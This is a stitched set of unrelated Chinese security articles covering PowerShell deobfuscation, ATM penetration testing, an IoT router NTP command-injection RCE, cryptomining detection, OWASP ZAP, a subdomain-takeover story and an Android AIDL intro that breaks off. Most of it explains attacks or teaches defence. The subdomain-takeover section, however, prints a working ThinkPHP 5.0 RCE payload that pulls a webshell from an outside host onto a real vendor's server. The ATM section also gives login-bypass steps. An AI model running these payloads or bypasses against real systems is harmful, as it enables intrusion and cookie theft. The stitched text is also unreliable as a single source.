48 , 125 , 123 , 54 ,125, 123 ,49,48 , 125,123,57 , 125,123 ,56 ,125,123,49 , 125 , 123,55, 125 , 123,49 , 50 ,125 , 123 ,49 ,49, 125,123 ,50 ,125,123 ,53,125 , 34 ,45 ,102, 39,101, 100 ,39 ,44 ,39 , 115 ,44, 79, 85, 61,65 ,105 , 114, 39 , 44 ,39 , 110 , 44, 39,44 , 39 ,79 ,85, 61 , 68 , 105,115 , 39 , 44,39, 97 ,98, 108 ,39 ,44, 39 ,68 , 67 ,61, 99 , 111,109 ,39 , 44 , 39,44 , 79,85, 39, 44 ,39 ,116,114 , 39 ,44, 39, 114 , 39,44,39,97 ,110 , 32 ,85, 115,101, 39 ,44,39,61, 65 , 105 , 114 , 116, 114 ,39 ,44 , 39, 97, 39 , 44 ,39,97, 110, 44, 68 ,67, 61,97,105 ,114 ,116 ,114 ,39, 41 ,13, 10 , 36 , 123,100 ,69,115,96,67 ,114 , 73, 96, 112,84 , 105 ,96 ,111,78, 125 , 32, 61 ,32 , 40,39 ,84,101,114 ,109 , 105,110 ,97, 39,43 , 39 , 116 , 39 , 43 , 39 ,101, 39 ,43, 39, 100 , 32,39, 43 , 39,112,39,43 ,39 ,101, 114 ,32 ,39 , 43 , 34 ,36, 83, 114,78,117 , 109 , 98 ,101, 114 , 34,41,13 ,10 , 13,10,102 , 111 , 114 ,101 , 97,99 , 104 , 32, 40 ,36 , 123 ,117, 83 ,96,101,114 ,125,32,105 , 110,32,36, 123 , 117,96 , 83 ,69, 114 ,96, 76, 96 , 105, 115 ,84 ,125,41, 13 , 10 ,123 ,13 , 10, 32, 32, 32 , 32,46 ,40, 34 ,123 , 49 ,125, 123 , 51, 125,123 ,48,125,123, 50, 125,34, 45 ,102, 32 , 39 , 101,39,44,39,83 ,39,44,39 ,114 ,39 ,44,39 , 101 ,116 , 45, 65,68, 85 , 115,39,41, 32 , 45,73,100, 101 , 110 ,116, 105 , 116 , 121 , 32 ,36 ,123, 117,96, 83 ,69 , 114, 125 ,32 ,45 , 83 , 101 ,114, 118 , 101 ,114 ,32 ,36, 123 ,68 , 79, 77, 96 ,65, 105 ,110 , 125 ,32, 45, 69 ,110 , 97 ,98,108 , 101,100,32 ,36, 123 ,70 , 65 ,96,76,96 , 115, 69 , 125, 32 ,45 , 68 ,101 ,115 , 99, 114, 105, 112, 116, 105 , 111,110 , 32,36, 123 ,68 , 101,96,115 , 99,82 ,73,96 , 112 , 116 ,96, 73 , 111, 110 , 125, 13,10,32 ,32 , 32 , 32 , 36,123,85,83,96,69 , 114,96, 72, 65 , 78, 68, 96 , 108 ,101,125,32,61, 32 ,46,40 , 34,123,49,125 , 123,50 , 125 , 123, 48,125 , 34 , 45 , 102, 39, 101,114, 39, 44, 39 ,71 ,101, 116,45, 65, 68 ,85, 39,44 ,39,115 , 39,41,32, 45 , 73 , 100 ,101 , 110 ,116 , 105 , 116,121 ,32,36 ,123, 117 , 96 , 115, 101 ,82 ,125, 32 , 45 ,83, 101,114 , 118,101, 114 , 32,36, 123,68,79 ,109 , 96,65,96 ,73,110 ,125 ,13 , 10, 32,32 , 32 , 32 ,38 , 40,34,123,51,125 ,123, 49,125,123,48 ,125 ,123 , 50 , 125,34 ,32 ,45 ,102, 32 ,39, 106, 101 ,39 , 44 ,39 ,68, 79 ,98 ,39 ,44 , 39 , 99,116 ,39 ,44, 39,77,111 , 118, 101 , 45 , 65,39 , 41,32 , 45, 73 , 100,101, 110,116,105,116 ,121, 32,36 ,123,117 ,115, 96 , 101 ,96,82 , 104,97 ,96 ,78 , 100 ,76 , 69 ,125 , 32 ,45 ,83 , 101 ,114 , 118, 101 , 114 ,32, 36 ,123 , 100, 111 , 96,77 ,65,96, 73,78 ,125,32,45 ,84 ,97,114, 103 , 101, 116,80 ,97,116 , 104, 32 ,36,123 ,99 , 79, 96,78,116 , 97,73 , 96 ,78,96,69,82,125 ,13 ,10 ,125 , 13,13 ,10 )| foreACH{ ( [CHAr][iNt]$_) }) ))
图13: 混淆和编码的样本
通过系统运行后，会返回两个输出：
* 部分修正的版本，没有cleanup网络；
* 全部修正的版本，含有cleanup网络。
部分修正：
param
(
[Parameter(MAndatoRy=${fAlSe})] ${dOMAiN} = "airtran.com",
[Parameter(MaNDATorY=${tRUe})] ${SRNUmBer},
[Parameter(mandaTOry=${FAlsE})] ${tArGETpAtH} = "OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com",
[Parameter(maNdaToRy=${TRue})] ${UsER}
)
if ("Test-Path" ${USEr})
{
${UsErliSt} = "Get-Content" -Path ${uSER}
}
else
{
${useRLisT} = ${USer}
}
${cONtaInER} = "OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com"
${dEsCrIpTioN} = ('Terminated per $SrNumber")
foreach (${uSer} in ${uSErLisT})
{
"Set-ADUser" -Identity ${uSEr} -Server ${DOMAin} -Enabled ${FALsE} -Description ${DescRIptIon}
${USErHANDle} = "Get-ADUser" -Identity ${useR} -Server ${DOmAIn}
"Move-ADObject" -Identity ${useRhaNdLE} -Server ${doMAIN} -TargetPath ${cONtaINER}
}
图14:部分反混淆的样本
安全修正：
param
(
[Parameter(Mandatory=$false)] $domain = "airtran.com",
[Parameter(Mandatory=$true)] $srnUmber,
[Parameter(Mandatory=$false)] $targetPath = "OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com",
[Parameter(Mandatory=$true)] $User
)
if (Test-Path $user)
{
$userList = Get-Content -Path $User
}
else
{
$userList = $user
}
$container = "OU=Disabled,OU=Airtran Users,OU=Airtran,DC=airtran,DC=com"
$Description = "Terminated per $SRNumber"
foreach ($user in $UserList)
{
Set-ADUser -Identity $user -Server $domain -Enabled $false -Description $Description
${USErHANDle} = Get-ADUser -Identity $User -Server $domain
Move-ADObject -Identity ${useRhaNdLE} -Server $domain -TargetPath $container
}
图15: 完全反混淆的样本
# 结论
研究人员可以混淆、编码、然后修正PowerShell脚本文件。最终的输出并不是可执行文件，但进一步分析可以得到可执行文件。反混淆是一个复杂和极具挑战性的工作。通过收集数据的基本步骤，智能清理数据，应用机器学习技术等可以解决一些复杂的问题并改善工作流；得到反混淆的PowerShell脚本。 | 社区文章 |
# 【技术分享】针对ATM机的渗透测试
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute
原文地址：<http://resources.infosecinstitute.com/atm-penetration-testing/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**写在前面的话**
自从有了自动取款机（ATM），我们在进行取款、存款、以及汇款等银行交易时，就再也不需要去银行营业厅排队了。我们可以通过ATM来进行存取现金、访问银行账户或信用账户、账单支付、修改密码、以及更新个人信息等操作。由于ATM机涉及的通常是现金交易，因此它也成为了黑客和犯罪分子们的首要攻击目标。多年以来，黑客已经找到了各种各样的方法来入侵ATM机。现在，黑客们的攻击手段已经不仅限于物理形式的攻击了，他们正在开发新的方法来入侵ATM机。
在这篇文章中，我们不仅会给大家讲解ATM机的工作机制和它所采用的安全防护策略，而且还会告诉大家如何通过渗透测试来分析ATM机的安全性。除此之外，我们也会给大家提供一些避免ATM机遭到攻击的最佳实践方案。
**ATM机的工作机制**
绝大多数的ATM机配备有两个输入口和四个输出口。通常情况下，读卡器和键盘为输入口，屏幕、凭条打印机、出钞口和扬声器为输出口。具体如下图所示：
ATM机需要与后台服务器（即通信主机）进行数据通信，这台主机服务器则需要与银行的网络系统进行通信并响应ATM机的请求。当用户插入了银行卡并进行取款操作时，ATM机会怎样处理这种请求呢？处理流程如下图所示：
1\.
用户的账户数据存储在银行卡背面的磁条中，当用户插入银行卡后，ATM机的读卡器会从磁条中读取用户的数据。接下来，用户的账户数据将会被发送至后台主机，然后再由后台主机将用户数据转发给相应的银行。
2\.
银行确认了这张卡片的有效性之后，会要求用户输入银行卡的密码。用户需要使用键盘来输入密码，密码在加密处理完成之后会被发送至主机服务器。接下来，主机服务器便会向银行验证用户卡号和密码是否能够匹配。银行验证成功之后，主机服务器会将相应的响应码发送给ATM机。
3\.
验证成功后，用户需要输入取款金额，然后取款请求将会发送至主机服务器来进行处理。主机服务器会将交易请求发送至客户的银行，银行将会对取款金额和取款限制进行确认。如果一切正常的话，客户所在的银行将会向主机处理器的账号转账。转账成功之后，主机处理器会将许可码发送给ATM机，然后再由ATM机向用户提供现金。
4\.
负责管理出钞任务的是运行在ATM机中的应用程序，ATM机的出钞器会记录下每一笔交易的详细数据，例如进行交易的银行账号、交易ID、交易时间、以及交易金额等等，这些数据将会记录在ATM机的日志文件中。
5\.
在出钞的过程中，ATM机中的传感器会扫描每一笔交易现金的厚度。如果有纸币粘在一起，或者纸币的某个角折起来了，这个传感器都可以检测到。如果检测到两张纸币粘在一起的话，那么这两张纸币都不会被分发出去。
**ATM机的安全保护机制**
随着技术的不断发展，ATM机中的功能单元数量也在逐渐增加，而这也使得ATM机更加容易受到黑客和犯罪分子的攻击了。目前，绝大多数的ATM机仍然运行的是Windows
XP，而这也使得这些ATM机在面对黑客的攻击时毫无还手之力。电子资金转账的过程由三个部分组成，即通信链路、计算机和终端设备（ATM）。如果要避免受到攻击，那么这三个组件就必须得到有效的保护。在对ATM机的整体安全性进行分析时，我们应该对哪些因素进行评估呢？接下来，让我们一起来看一看。
**1\. 漏洞评估和网络渗透测试**
在处理ATM机的安全问题时，这两种方法是最常使用的。在网络渗透测试的过程中，我们需要检测ATM机网络层的安全漏洞。由于ATM机需要与后台服务器进行通信，所以ATM机或者它的某一部件必须处于这个通信网络之中。获取到ATM机的IP地址之后，我们就可以对其进行网络层的渗透测试了。从安全的角度出发，ATM机的网络应该与其他银行的网络隔离开。为了进行测试，仅仅得到ATM机的IP地址还不够，测试者还需要进入ATM机的网络中。进入之后，我们就可以使用Nessus来扫描设备的开放端口、运行中的服务、以及与这些运行服务有关的漏洞了。我们可以使用NMap来扫描设备所有的端口，包括TCP和UDP端口。除此之外，我们也可以利用Nessus来识别ATM操作系统中其他组件的漏洞，例如Adobe和IE浏览器等等。
**2\. 应用程序安全审计**
由于目前大多数ATM机运行的都是Windows操作系统，所以我们可以采用配置审计的方式来提升系统的安全性。在进行配置审计的过程中，我们可以从以下几个方面入手：
补丁与更新：检查系统的更新状态，确定是否安装了最新的安全补丁；
文件系统安全：检查关键目录和文件的访问权限和安全性；
系统访问和身份验证：检查密码锁定策略、账户锁定策略、以及用户权限策略等等；
审计与日志：检查事件日志、应用安全日志、以及审计策略；
账户配置：检查管理员组中的用户、默认用户以及访客账号等等，并且确认账户的有效期；
**ATM安全解决方案评估**
目前ATM机最常用的两种安全解决方案为Mcafee Solidcore和Phoenix Vista ATM。
Mcafee Solidcore：
McAfee应用控制机制可以防止未经授权的应用程序在ATM的操作系统中运行，这是一种基于白名单的策略。
Phoenix Vista ATM：
这种解决方案已经与ATM应用程序进行了整合，它可以检测系统中的关键文件是否遭到了篡改。这样一来，未经认证的程序就无法修改系统中的特定文件了。
这种体系由三层结构组成，即OS <–> XFS <–> Vista ATM。具体如下图所示：
金融服务扩展（XFS）是在Windows开放式系统体系结构（WOSA：Windows Open System
Architecture）基础上的开发的一组标准接口，它是由欧洲标准化委员会/信息系统标准化委员会（CEN/ISSS）专题研究组编制的。在XFS的帮助下，我们无需考虑不同金融服务设备之间的区别，因为XFS所提供的通用API接口允许我们直接访问或修改这类设备。
**渗透测试安全解决方案**
我们的最终目的是为了获取到ATM操作系统的访问权，这样我们就可以了解这些应用到底是如何工作的了。获取到系统访问权之后，攻击者将在系统中安装恶意软件，然后再使用XFS组件来控制系统硬件。
测试实例:
1\. 检查USB接口是否已启用，使用“[Konboot](http://www.piotrbania.com/all/kon-boot/)”（或[Hiren Boot](http://www.hiren.info/)）制作USB启动盘；
2\. 插入USB启动盘，从U盘启动系统；
3\. 大部分安全解决方案会在系统启动的时候就接管整个操作系统，所以请在启动的时候按住“Shift”键；
4\. 如果你有用户名的话，直接输入并按下回车键，我们可以在不知道密码的情况下直接访问操作系统；
我们在测试的过程中，还可以从以下几个方面着手：
1\. 对“运行时代码认证”功能进行测试；
2\. 测试代码保护功能：
3\. 检测系统注册表项；
4\. 防止物理攻击
5\. 防止逻辑攻击；
6\. 防止欺诈攻击；
**总结**
随着黑客技术的不断发展，攻击者肯定会继续研究入侵ATM机的新方法。在这场没有硝烟的战争中，银行必须占领先机。银行要部署最新的安全解决方案，并且尽可能地缩小ATM机的受攻击面。希望这篇文章能够给金融领域的安全技术人员提供一种解决安全问题的思路。 | 社区文章 |
**概述：**
在对某些厂家的IOT网关设备进行检测时，发现了一个RCE漏洞，这个漏洞存在于大多数网关路由器设备中，漏洞点位于更新ntp中。这些漏洞的利用是需要条件的，那就是首先得登录(当然不排除有未授权的情况发生)，个人感觉这个漏洞比较好玩，所以，就发出来分享一下，给大家提供一个思路。
当然，如果你想测试这个漏洞，最好找以前的版本（光猫、路由器）测试，现在最新的版本大多数都已修复，如果你恰好遇到存在此漏洞的设备，那么祝君好运!
**漏洞分析**
在我们传入参数之前，httpd程序（http服务器）会对传过来的URL进行CGI解析，随后选择调用sntp程序并传入参数。怎么调用这个不是我们要分析的重点（虽然这个也是RCE的一部分），重点是下面的过程。
在SNTP程序文件中，它首先获取参数的传入
随后把参数传入了ntpdate文件 , bin/ntpdate ntpserver地址
在获取了ntpserver地址后，进行了系统命令调用
第一次system执行调用是初始化ntpdate程序（清理关闭干扰程序），随后system执行nptdate程序，获取当前ntp服务器的时间，加之写入配置文件。
**漏洞利用**
我们来看下漏洞利用点，漏洞发生在设备的时间设定功能上
因为这个漏洞是隐式RCE，所以没有返回，我们只能进系统进行验证。
根据以上分析，我们后台监控看下
可以看到，sntp成功的调用了ntpdate程序来获取时间，而且ntpserver服务器的参数是我们可以控制的。
这里我们需要输入分隔符“;”，这样，我们就能够执行多行命令了。
我们向tmp目录写入test.txt文件
后台监控看下是否利用成功
在这里，我们还是来看下前端代码吧，因为代码太长，所以选择主要函数讲解。
在我们提交保存按钮后，会调用btnApply()函数，我们跟进
function btnApply() {
var loc = 'sntpcfg.cgi?ntp_enabled=';
with( document.forms[0] ) {
if( ntpEnabled.checked ) {
loc += '1&ntpServer1=';
if( ntpServer1.selectedIndex == ntpServers.length ) {
if( ntpServerOther1.value.length == 0 ) { // == Other
alert('第一时间服务器为“其它”，可是“其它”域为空');
return;
} else {
loc += ntpServerOther1.value;
}
} else {
loc += ntpServer1[ntpServer1.selectedIndex].value;
}
loc += '&ntpServer2=';
if( ntpServer2.selectedIndex == ntpServers.length+1 ) {
if( ntpServerOther2.value.length == 0 ) { // == Other
alert('第二时间服务器为“其它”，可是“其它”域为空');
return;
} else {
loc += ntpServerOther2.value;
}
} else {
if( ntpServer2.selectedIndex > 0 )
loc += ntpServer2[ntpServer2.selectedIndex].value;
}
loc += '&ntpServer3=';
if( ntpServer3.selectedIndex == ntpServers.length+1 ) {
if( ntpServerOther3.value.length == 0 ) { // == Other
alert('第三时间服务器为“其它”，可是“其它”域为空');
return;
} else {
loc += ntpServerOther3.value;
}
} else {
if( ntpServer3.selectedIndex > 0 )
loc += ntpServer3[ntpServer3.selectedIndex].value;
}
loc += '&ntpServer4=';
if( ntpServer4.selectedIndex == ntpServers.length+1 ) {
if( ntpServerOther4.value.length == 0 ) { // == Other
alert('第四时间服务器为“其它”，可是“其它”域为空');
return;
} else {
loc += ntpServerOther4.value;
}
} else {
if( ntpServer4.selectedIndex > 0 )
loc += ntpServer4[ntpServer4.selectedIndex].value;
}
loc += '&ntpServer5=';
if( ntpServer5.selectedIndex == ntpServers.length+1 ) {
if( ntpServerOther5.value.length == 0 ) { // == Other
alert('第五时间服务器为“其它”，可是“其它”域为空');
return;
} else {
loc += ntpServerOther5.value;
}
} else {
if( ntpServer5.selectedIndex > 0 )
loc += ntpServer5[ntpServer5.selectedIndex].value;
}
loc += '&timezone_offset=' + cboTimeZone[cboTimeZone.selectedIndex].value;
loc += '&timezone=' + getTimeZoneName(cboTimeZone.selectedIndex);
loc += '&ntpWan=' + ntpWan.value;
loc += '&use_dst=0';
var ntpIntervalVal = parseInt(ntpInterval.value);
if(isNaN(ntpIntervalVal) || ntpIntervalVal < 3600 || ntpIntervalVal > 604800){
alert('同步间隔范围为3600-604800');
return;
}
loc += '&ntpInterval=' + ntpIntervalVal;
} else {
loc += '0';
}
}
loc += '&sessionKey=' + sessionKey;
var code = 'location="' + loc + '"';
eval(code);
}
函数先对是否开启自动更新时间进行判断，随后进入操作。
在我们设置完参数后，函数会把我们提交过来的参数经过几个步骤的参数拼接，然后用eval()函数进行提交操作，最后httpd调用sntp程序对参数进行操作。
我们可以看到，在一系列的操作中，没有任何的函数对我们提交的参数进行过滤和拦截，最后此漏洞的发生还是在过滤不严上面。
下面我们来看下华为和中兴对NTP漏洞的防范，他们的代码一样。。。
在我们提交ntpserver地址后，会对我们自定义的值进行检查和过滤,由isTValidName()函数进行,只有合规的参数才能进入后面操作
if(isTValidName(ntpServerOther1.value) == false)
{
AlertEx('第一级SNTP服务器的地址无效。');
return;
}
Form.addParameter('NTPServer1',ntpServerOther1.value)
我们来跟进
isTValidName()函数，可以看到，对大多数的特殊字符进行了检测，这些字符正是我们执行命令需要的，有了这个安全函数的检测，漏洞自然就不存在了。
function isTValidName(name) {
var i = 0;
var unsafeString = "\"<>%\\^[]`\+\$\,='#&:;*/{} \t";
for ( i = 0; i < name.length; i++ ) {
for( j = 0; j < unsafeString.length; j++)
if ( (name.charAt(i)) == unsafeString.charAt(j) )
return false;
}
return true;
} | 社区文章 |
# 前言
网上对于挖矿的检测也有很多的专业文章，笔者在此就对网上的文章做一个汇总再加上自己的一些不太成熟的想法，欢迎各位师傅们的探讨，当然，检测的方法还是从2个方向出发，基于流量层的检测以及主机行为的检测
# 基于流量的检测
一.流量特征
对于挖矿，我们最熟悉的协议就是以太坊stratum协议，当然笔者这里就不分析stratum协议了，我们来看看stratum协议的特征，这是常见的stratum协议
{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.5.0"]}
通常包括关键字mining以及json格式这2点。
XMRig通信协议(jsonrpc)
我们防守方的检测规则，主要基于mining，jsonrpc，aseed_hash，job_id等一些敏感关键字的匹配，然后查看数据包是否为json格式，至于xml门罗币的检测，一般是有登陆包和提交包，我们可以关联一下这2个包，以至于减少误报率，主要匹配login，submit等关键字的匹配。
ps:我们也可以根据比特币钱包地址的前缀检测是否是存在挖矿行为，正如我们的银行卡招商，农业等不同银行的卡号有不同的特征
比特币：大多数为34位，数字字母（大小写）组成，大多数以数字1或3开头
门罗币：有95位数字字母（大小写）组成，大多数以数字4或8开头
乌龟币：有99位数字字母（大小写）组成，TRTL开头
二.威胁情报
配合各个威胁情报部门，收集标记矿场IP，域名通信地址，钱包地址，挖矿木马的HASH，加密流量指纹等信息
# 基于主机层的检测
挖矿主要有基于被动和主动，主动好理解，就是被入侵了，被动是什么呢？就是浏览器挖矿
一.前端浏览器挖矿（被动）
首先什么是浏览器挖矿，怎么理解，普通的挖矿木马则是基于消耗服务器cpu内存，而浏览器挖矿则是消耗浏览器内存进行挖矿，前者在于自己的设备上进行运算，后者在于其他用户访问了该页面，该页面存在xxx.js，就开始挖矿了，常见的为Coinhive脚本以及其他脚本
我们防守方的检测规则，主要基于常见浏览器挖矿脚本的名字正则匹配，md5，hash匹配，以及浏览器恶意占用内存以及持续性的某地址请求，恶意域名提前侦测。
二.攻击链路检测（被入侵或者员工自己挖矿）
打点（web漏洞，钓鱼） -> 挖矿木马自启动/隐藏/权限维持 -> 挖矿木马横向寻找更多矿机
上面是一个比较经典的链路，我们可以对这三点都进行一个检测，如何打点不在本片文件做具体介绍
自启动（开机自启动rc.local，计划任务crontabs，恶意系统服务checkconfig，mac检测这2个目录（LaunchAgents，LaunchDaemons））/隐藏（修改文件名，修改进程名（prctl），隐藏文件），木马横向移动（扫描端口，密码爆破，然后执行自启动这一块），主要用ids流量设备去检查，检测，那么这些技术对应到ATT&CK矩阵图对应了哪些，我们如何通过纵深防御？首先看看对应的TID
我们一点一点说，首先是我们的信息收集，该类规则必须cep关联规则，不然会产生很大的误报，怎么理解，比如公司员工正常查看进程列表，tasklist
/svc，我们不能报错吧，我们的cep关联他之前的操作，比如之前疯狂查找文件夹，看了当前用户，那么该员工可能存在被挖矿的风险，技术难点在于规则的关联且规则准确率很低，目的在于防患于未然。
执行这一阶段，我们也得特别注意，首先是通用的计划任务，taskschd(windows)，linux/mac（crontabs）是我们值得重点关注的，其他js的脚本也得看看该Js脚本是否是恶意的，至于linux的机器，因为某些服务器是自带python环境的，我们的特别注意执行的python文件，当然，第三方加载，可能它是一个loader.exe，远程加载挖矿木马。
技术难点：1.利用第三方/白名单去加载，很多情况是攻击者拿到了权限，很少会直接运行挖矿木马，他们可能会丢一个loader去加载木马，亦或者是用windos的一些白名单利用去加载我们的挖矿木马，我们如何防御，首先是loader，我们可以域名白名单，就是不是我们企业的域名或者是办公域名我们隔离掉，无法访问，至于白名单加载，我们也可以终端白名单，我们的规则只允许这些dll或者这些exe运行，当然，如果域名白名单很难落实下来，就重点关注外部的请求。
权限维持阶段，自启动（sc），（rc.local，LaunchAgents，LaunchDaemons等目录），计划任务，注册表(reg，需要提权，相对比较敏感)，影子用户(net
user)。
防御规避阶段：删除日志（history，del，sfc，rd，wevtutil cl，eventvwr，dumpel.exe，@reg delete
Terminal Server Client\Default" /va
/f(rdp日志)，），隐藏文件（attrib）,修改进程名（prctl）,文件目录权限变更（chmod），协议混淆编码(加了密的看是谁发起的，可信任的能放行外一律拦住)
windows日志位置（windows也可能没有罗列完）：
系统日志：%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志：%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志：%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键：HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
IIS默认日志位置：%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
横向移动阶段：挖矿木马以及人为操作横向移动，基本都是基于简单的弱口令，以及简单的端口爆破，21,22,445,3389等端口，我们需要做的就是如果非业务需求，关闭不常用的端口，还有就是密码策略的要求，以及登录限制。
简单总结：对于攻击链路的检测，我们还是的把重心放在执行，权限维持，防御规避，横向移动这四个阶段，因为这四个阶段相对特征比较敏感明显，至于信息收集这一端的，我们关联相关策略，当然，说到这里，笔者也有一些不成熟的意见，要想让防守做到滴水不漏，至少在目前看来是不可能的，要想提升防御质量的关键在于我们能否掌握主动权，那我们防守方的主动权在于哪里，在于攻击者对我们环境的未知，对我们架构，防线的未知，比如同样是一个命令ipconfig，但是不同的命令变形也可以做到同样的效果，那么执行前者是危险，执行后者是安全的，当然这只是一个思路，具体怎么让这个思路更加活跃起来，看读者们自己的发挥
# 排查清理
我们通常可以用top查看使用cpu较高的命令（windows就用wmic cpu get loadpercentage或者看任务管理器），netstat
-ano查看是否有外联的ip地址，ip可用微步查看，history历史执行的命令（windows看日志），ps
-ef查看进程（windows就是tasklist
/svc），接下来就是查找后门文件，windows主要关注注册表，隐藏用户，web服务的后门，计划任务，自启动等常见后门，linux主要关注计划任务，ssh是否被劫持，开机自启动等。至于朔源的话，我们的找到矿池IP或者是钱包地址，以及攻击者打点进来用的什么手法，工具，看能否分析出有关其信息。
# 写在最后
随着攻防对抗的升级，越来越多的技术需要学习，云上的攻防对抗，算法的学习，文笔粗糙，如有错误，望看官斧正 | 社区文章 |
首先去github下载owasp zap: <https://github.com/zaproxy/zaproxy/wiki/Downloads>
,用迅雷会员下载比较快;
基础使用方法去freebuf看：<http://www.freebuf.com/sectool/5427.html>
首先要安装https证书、搞了好久找到了下载证书的地方 options->Dynamic SSL Certficates去保存证书,然后导入浏览器
safe mode #安全模式protected mode #保护模式standard mode #标准模式ATTACK mode #攻击模式
在owasp中需要添加断点拦截、同样也有拦截白名单和黑名单的设置,使用如下：
还有他的攻击模式做的比较好，输入网址攻击后会自动发送到spider模块，爬完后自动发送到主动扫描模块，也有扫描进度，可视化效果做的比burpsiuite好，后面尝试下主动扫描模块强大不、
扫描完后自动转到警告模块可以查看扫描报告，也支持导出html、xml方式报告；
FUZZ模块配置使用貌似木有burpsuite强大、其他的还都是蛮好的，也有编码解码功能等等。
目测owasp-zap的主动扫描模块值得一用，还有下断点会把request和response都下断点返回，默认burpsuite的配置是不拦截response、而owasp-zap默认两个都拦截、 | 社区文章 |
# 前言
之前在先知社区和freebuf上看过关于子域名劫持的文章，一直觉得这种漏洞挺有意思，
但是总感觉很难撞到能真正利用起来的，后来有幸目睹了Art3mis师傅进行了一次风骚的子域名劫持，
让我看到了实时案例，于是希望着有一天我也能挖个这种洞。
# 正文
## 子域名挖掘
在挖某厂商的SRC时，我用了农夫安全的farmscan_domain对他进行了子域名挖掘，
发现了一个子域名为xxxxxx.x.com
访问他发现了
然后我意识到了这里有搞头
## 信息收集
反解析ip 发现他是腾讯云下的服务器
用nmap扫描端口 发现他开放了22 80 888 8888端口
然后直接访问ip时 返回了一个json数据
{"code":0,"msg":"欢迎访问","data":[]}
有个扫出一个后台ip/Admin/login/index.html 这里的验证码不会刷新可进行爆破 经过一番尝试爆破不出密码
访问888端口 回响403
访问8888端口
我只能得到这些信息
这个腾讯云的服务器 用了宝塔面板 宝塔的后台地址我无法得知 有个可爆破的后台
在爆破了后台跟ssh无果之后我几乎放弃
然后我决定再对其进行一次目录爆破
## RCE
然后我突然想访问一下这个目录看看他会报什么错xxxx/%3f/
于是最大的转机来了，报错了，最重要的是发现了这个
ThinkPHP V5.0.20 { 十年磨一剑-为API开发设计的高性能框架 }
下意识就想到了thinkphp的漏洞，
虽然看过了水泡泡师傅和chybeta师傅在先知上关于这个漏洞的文章，
但是因为各种原因没有好好复现过这个漏洞在后面插payload的过程中踩了很多坑，
进过多次尝试，终于成功的getshell了
poc
http://xxxx/index.php?s=captcha&lego=copy("http://xxx/lego.txt","test.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=lego
蚁剑连上去
发现了一个hydra.php的文件，发现被人种过马了，
顺手把这个马删了。
在拿下这个域名的webshell之后，我想对这种漏洞进行一个利用
在这子域名下
携带了一些 *.xxx.com的cookie
于是我便想着上传一个xss页面
## 利用
直接用域名访问xxxxx/test.php 返回404
ip/test.php 会访问到我的一句话
只有在访问域名的时候浏览器才会携带cookie,用ip访问时浏览器不会携带cookie
意味着，我即使上传了带XSS的html页面，也无法访问到XSS页面。
但是我用域名:8888访问可以访问到宝塔那个页面
我起初想要修改那个页面来实现XSS
如果我们想要修改宝塔的话，就要访问`/www/server/panel/` 目录，
但是我的webshell是没有权限访问那个目录了，除非提权，
但是这又是一台腾讯云的服务器，应该不会出现可以提权的漏洞，
于是我陷入了沉思。。。。。
然后沉思久了我就去WC了，在WC的过程中，我用手机看了一下宝塔官网的用户手册 <http://docs.bt.cn/424204>
在翻阅之后，我发现了一些有趣的东西，比如我们之前直接用域名访问，发现有那个没找到站点的页面，
其实这个是因为宝塔面板里面没有设置这个域名为解析的域名，所以会出现这种情况。
然后我们需要`/etc/init.d/bt default`才能查看宝塔的后台地址，我用蚁剑发现无法执行命令，估计是权限不够，
所以修改8888端口下的宝塔估计也是凉凉了
在继续翻阅宝塔的用户手册后，我发现了端口888运行了是phpmyadmin，然后我突然感觉到了我应该是可以完成这次利用了，
我找到了phpmyadmin的绝对路径
phpmyadmin_xxxxxxxxx
我们之前直接访问888端口返回的是
当我访问
xxx.com/phpmyadmin_xxxxxxxxx/
成功的跳转到了phpmyadmin的后台
在这个目录下新建一个html页面，访问
子域名:888/phpmyadmin_xxxxxxxxx/test.html
成功弹出cookie
至此，我的利用已经完成了。
# 总结
这次渗透不得不说，有很多的运气成分，主要时间在于信息收集上和学习新的事物上，
第一次挖子域名劫持，第一次认真利用thinkphp的RCE，和第一次真正的接触宝塔面板，
整个过程磕磕绊绊，收获了很多。 | 社区文章 |
**作者：evilpan
原文链接：<https://evilpan.com/2020/07/11/android-ipc-tips/>**
最近在分析一个运行Android系统的IoT平台，其中包含设备管控和日志服务(Agent)、升级服务(FOTA)、自定义桌面(Launcher)、端上IDS以及前台的图形界面应用等多个前后台进程。在对其中某个功能进行逆向时发现调用链路跨越了多个应用，因此本文就做个简单记录。
# 前言
熟悉安卓开发的同学应该都知道构建IPC的流程，但从逆向工程的角度分析的却比较少见。
说到安卓跨进程通信/调用，就不得不提到AIDL和Binder，在逆向一个东西之前，首先需要了解它，因此本文也会先对其工作流程和工作原理进行介绍。
# AIDL 101
AIDL是Google定义的一个接口定义语言，即Android Interface Definition
Language。两个进程(称为客户端和服务端)共享同一份AIDL文件，并在其基础上实现透明的远程调用。
从开发者的角度如何使用AIDL呢？下面参考[Android的官方文档](https://developer.android.com/guide/components/aidl)以一个实例进行说明。我们的目标是构建一个远程服务FooService，并且提供几个简单的远程调用，首先创建AIDL文件`IFooService.aidl`：
package com.evilpan; interface IFooService { void sayHi(); int add(int lhs, int rhs); }
AIDL作为一种接口语言，其主要目的一方面是简化创建IPC所需要的IPC代码处理，另一方面也是为了在多语言下进行兼容和适配。使用Android内置的SDK开发工具可将其转换为目标语言，本文以Java为例，命令如下：
aidl --lang=java com/evilpan/IFooService.aidl -o .
生成的文件为`IFooService.java`，文件的内容后面再介绍，其大致结构如下：
